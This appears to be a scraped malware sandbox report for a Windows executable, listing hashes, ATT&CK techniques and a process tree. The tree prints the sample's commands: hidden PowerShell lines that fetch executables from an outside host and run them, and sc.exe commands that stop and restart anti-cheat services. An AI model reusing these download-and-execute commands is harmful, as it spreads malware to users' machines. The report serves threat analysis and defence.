66cb383447ad509436c595cb44f73f555b4494d701c2241d61d8004d05a2fce3

Analysis

user interaction
yes
max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/07/2026, 11:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1PC MALL 필수.exe
Size 559KB
Sample260717-nyefssh14l
SHA256 66cb383447ad509436c595cb44f73f555b4494d701c2241d61d8004d05a2fce3
MD5 8513176f0f447327f32a96cb0ac38887
SHA1 7885d422ce32970a189e64f409104c79a7becf12
SHA512 dc6a6053ef5dedcc2614f803d23b236f112cc434c1e58f4f9c34d042fa4fbb6509ba185963e6123df2da0875184561675dc891153b092b2a41b65a615eeeaad0
SSDEEP 6144:uVKsaSQ/A7HjjQUvRWcYqsDCwNwjTMwCsyNfMkZdpRIKILIftrWElzwEWRenCUMh:BjYrjjQ4kqiZPZNf2LO6ERvWRen/M
TLSH
T1D3C49F5AE6A406F8E077D078CA534913FB72B8460371AADB07D089671F176E19F3EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4140	powershell.exe
4588	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3732	sc.exe
3336	sc.exe
4776	sc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4588	powershell.exe
4140	powershell.exe
4588	powershell.exe
4140	powershell.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe
4840	1PC MALL 필수.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4840 wrote to memory of 2472	4840	1PC MALL 필수.exe	88
PID 2472 wrote to memory of 3444	2472	cmd.exe	89
PID 4840 wrote to memory of 4728	4840	1PC MALL 필수.exe	91
PID 4728 wrote to memory of 688	4728	cmd.exe	92
PID 3444 wrote to memory of 4140	3444	cmd.exe	94
PID 688 wrote to memory of 4588	688	cmd.exe	95
PID 4840 wrote to memory of 784	4840	1PC MALL 필수.exe	96
PID 784 wrote to memory of 4776	784	cmd.exe	97
PID 4840 wrote to memory of 1204	4840	1PC MALL 필수.exe	98
PID 1204 wrote to memory of 3732	1204	cmd.exe	99
PID 4840 wrote to memory of 2332	4840	1PC MALL 필수.exe	100
PID 2332 wrote to memory of 3336	2332	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\1PC MALL 필수.exe
"C:\Users\Admin\AppData\Local\Temp\1PC MALL 필수.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK669637.exe; Start-Process -FilePath $env:TEMP\BK669637.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK669637.exe; Start-Process -FilePath $env:TEMP\BK669637.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK669637.exe; Start-Process -FilePath $env:TEMP\BK669637.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169366.exe; Start-Process -FilePath $env:TEMP\BK169366.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169366.exe; Start-Process -FilePath $env:TEMP\BK169366.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169366.exe; Start-Process -FilePath $env:TEMP\BK169366.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start vgk >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\system32\sc.exe
    sc start vgk
    3⤵
    - Launches sc.exe
    PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop vgc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\system32\sc.exe
    sc stop vgc
    3⤵
    - Launches sc.exe
    PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start vgc >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\sc.exe
    sc start vgc
    3⤵
    - Launches sc.exe
    PID:3336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3eb782f7ba3ad8b85d1abb99451e480ee75eba0ea27518f27b28faefd6c949fd
MD5 e771ab5e33f8a10ae00e26c0c75a5f6a
SHA1 deaee34dff213fe77b2d9ab4fc34393d01706ae3
SHA512 060d2f9a8f963a6fc59d3f7f150490661f30426ea2412b1fdd65b813bfdf579839c375d612596efc156de2cfbd8ccee4ce17d66f645e748a1dcf5a8bd6cdb033
TLSH
T11621A837B3DC8921CC86163A409D9C1072B283C7819ECF9FAFC4D614A07F988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1gqm2mho.ex4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1gqm2mho.ex4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4140-14-0x000001F4E3AA0000-0x000001F4E3AB0000-memory.dmp

Download

memory/4140-13-0x000001F4E3AA0000-0x000001F4E3AB0000-memory.dmp

Download

memory/4588-4-0x000002CBAC320000-0x000002CBAC330000-memory.dmp

Download

memory/4588-3-0x000002CBAC320000-0x000002CBAC330000-memory.dmp

Download

memory/4588-10-0x000002CBC4840000-0x000002CBC4862000-memory.dmp

Download